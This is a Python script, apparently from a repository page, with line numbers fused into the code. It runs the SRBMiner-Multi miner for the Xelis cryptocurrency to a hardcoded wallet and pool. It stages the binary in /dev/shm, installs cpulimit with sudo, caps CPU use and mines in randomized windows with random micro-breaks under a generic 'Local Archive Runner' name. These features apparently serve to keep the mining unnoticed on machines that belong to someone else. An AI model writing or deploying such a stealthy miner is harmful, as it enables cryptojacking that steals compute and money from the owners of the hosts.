gfdg34fsd/newe
9688k
1#!/usr/bin/env python32# -*- coding: utf-8 -*-3# ================================================================4# Xelis Local Archive Runner (SRBMiner-Multi)5# ================================================================6 7from __future__ import annotations8 9import contextlib10import os11import random12import shutil13import subprocess14import sys15import tarfile16import time17 18# -----------------------------------------------------------------19# Configuration20# -----------------------------------------------------------------21WALLET_ADDR = "xel:j6s3dy4hpytnduht7d3nwpjvd9y7hlqpl6ghpjxn5t87svdtxu6sqf7jxdx"22POOL_ENDPOINT = "de.xelis.herominers.com:1225"23WORKER_LABEL = "new"24ALGORITHM = "xelishashv3"25 26CPU_PERCENT = 2527ARCHIVE_NAME = "SRBMiner-Multi-3-6-7-Linux.tar.gz"28BINARY_NAME = "SRBMiner-MULTI"29SHM_DIR = "/dev/shm" if os.path.isdir("/dev/shm") else "/tmp"30 31# Outer cycle bounds (seconds)32CYCLE_MINING = (60 * 60, 65 * 60)33CYCLE_RESTING = (4 * 60, 7 * 60)34 35# Inner chunking bounds (seconds)36CHUNK_WORK = (10 * 60, 18 * 60)37CHUNK_PAUSE = (2 * 60, 3 * 60)38PAUSE_CHANCE = 0.3039 40# -----------------------------------------------------------------41# Low-level helpers42# -----------------------------------------------------------------43def rand_span(bounds):44 """Return a random integer inside a (min, max) tuple."""45 low, high = bounds46 return random.randint(low, high)47 48 49def run_quiet(cmd, **kwargs):50 """Run a command silently; swallow stdout/stderr."""51 return subprocess.run(52 cmd,53 stdout=subprocess.DEVNULL,54 stderr=subprocess.DEVNULL,55 **kwargs,56 )57 58 59def have_binary(name):60 return shutil.which(name) is not None61 62 63# -----------------------------------------------------------------64# Dependency: cpulimit65# -----------------------------------------------------------------66def ensure_cpulimit():67 if have_binary("cpulimit"):68 return True69 if os.name != "posix":70 return False71 print("[*] installing cpulimit ...", flush=True)72 try:73 run_quiet(["sudo", "apt", "update", "-q"], check=True)74 run_quiet(["sudo", "apt", "install", "-y", "cpulimit"], check=True)75 print("[+] cpulimit ready", flush=True)76 return True77 except Exception as exc:78 print(f"[!] cpulimit install failed: {exc}", flush=True)79 return False80 81 82# -----------------------------------------------------------------83# Local Archive Extractor84# -----------------------------------------------------------------85def setup_local_archive():86 print("[*] locating and extracting local archive ...", flush=True)87 script_dir = os.path.dirname(os.path.abspath(__file__))88 archive_path = os.path.join(script_dir, ARCHIVE_NAME)89 90 if not os.path.isfile(archive_path):91 if os.path.isfile(ARCHIVE_NAME):92 archive_path = os.path.abspath(ARCHIVE_NAME)93 else:94 print(f"[!] Error: Local archive '{ARCHIVE_NAME}' not found near script!", flush=True)95 sys.exit(1)96 97 stage = os.path.join(SHM_DIR, "unpack_srb_local")98 os.makedirs(stage, exist_ok=True)99 100 try:101 with tarfile.open(archive_path, "r:gz") as tar:102 tar.extractall(stage)103 104 located = None105 for base, _dirs, files in os.walk(stage):106 if BINARY_NAME in files:107 located = os.path.join(base, BINARY_NAME)108 break109 110 if located is None:111 raise RuntimeError(f"{BINARY_NAME} not found inside local archive")112 113 target = os.path.join(SHM_DIR, BINARY_NAME)114 shutil.copy2(located, target)115 os.chmod(target, 0o755)116 117 shutil.rmtree(stage, ignore_errors=True)118 print(f"[+] binary extracted and staged at: {target}", flush=True)119 return target120 121 except Exception as exc:122 print(f"[!] extraction failure: {exc}", flush=True)123 sys.exit(1)124 125 126# -----------------------------------------------------------------127# Miner lifecycle128# -----------------------------------------------------------------129class MinerSession:130 """Wraps SRBMiner-MULTI using direct command-line arguments and PID-based cpulimit."""131 132 def __init__(self, binary):133 self.binary = binary134 self.proc = None135 136 def _command(self):137 return [138 self.binary,139 "--algorithm", ALGORITHM,140 "--pool", POOL_ENDPOINT,141 "--wallet", WALLET_ADDR,142 "--worker", WORKER_LABEL,143 "--cpu-threads", "1",144 "--disable-gpu"145 ]146 147 def open(self):148 if self.proc is not None and self.proc.poll() is None:149 return150 151 self.proc = subprocess.Popen(152 self._command(),153 preexec_fn=os.setsid,154 )155 156 time.sleep(2)157 if self.proc.poll() is None and self.proc.pid:158 cores = os.cpu_count() or 1159 ceiling = CPU_PERCENT * cores160 subprocess.Popen(161 ["cpulimit", "-p", str(self.proc.pid), "-l", str(ceiling), "-b"],162 stdout=subprocess.DEVNULL,163 stderr=subprocess.DEVNULL164 )165 166 def close(self):167 if self.proc and self.proc.pid:168 with contextlib.suppress(Exception):169 os.killpg(os.getpgid(self.proc.pid), 9)170 self.proc = None171 172 173# -----------------------------------------------------------------174# Cycle engine175# -----------------------------------------------------------------176def _run_work_window(session, total_seconds, cycle_no):177 elapsed = 0178 session.open()179 while elapsed < total_seconds:180 slice_len = rand_span(CHUNK_WORK)181 if slice_len > total_seconds - elapsed:182 slice_len = total_seconds - elapsed183 184 time.sleep(slice_len)185 elapsed += slice_len186 187 if elapsed >= total_seconds:188 break189 190 if random.random() < PAUSE_CHANCE:191 pause = rand_span(CHUNK_PAUSE)192 print(f"[*] micro-break {pause // 60}m inside cycle {cycle_no}", flush=True)193 session.close()194 time.sleep(pause)195 session.open()196 197 return elapsed198 199 200def _run_idle_window(session, total_seconds):201 session.close()202 print(f"[-] idle window: {total_seconds // 60}m", flush=True)203 time.sleep(total_seconds)204 205 206def run_engine(session):207 cycle_no = 0208 while True:209 cycle_no += 1210 work_len = rand_span(CYCLE_MINING)211 rest_len = rand_span(CYCLE_RESTING)212 213 print(f"\n[cycle {cycle_no}]", flush=True)214 print(f"[+] window: {work_len // 60}m", flush=True)215 216 actual = _run_work_window(session, work_len, cycle_no)217 print(f"[+] mining done — {actual // 60}m actual", flush=True)218 219 _run_idle_window(session, rest_len)220 221 222# -----------------------------------------------------------------223# Entry point224# -----------------------------------------------------------------225def main():226 print("=" * 52, flush=True)227 print(" [BOOT] Local Archive Runner", flush=True)228 print("=" * 52, flush=True)229 230 if not ensure_cpulimit():231 print("[!] unavailable", flush=True)232 sys.exit(1)233 234 binary = setup_local_archive()235 236 session = MinerSession(binary)237 try:238 run_engine(session)239 except KeyboardInterrupt:240 print("\n[!] manual stop", flush=True)241 session.close()242 sys.exit(0)243 except Exception as exc:244 print(f"[!] runtime fault: {exc}", flush=True)245 session.close()246 sys.exit(1)247 248 249if __name__ == "__main__":250 try:251 main()252 except KeyboardInterrupt:253 print("\n[!] interrupted", flush=True)254 sys.exit(0)255 except Exception as exc:256 print(f"[!] fatal: {exc}", flush=True)257 sys.exit(1)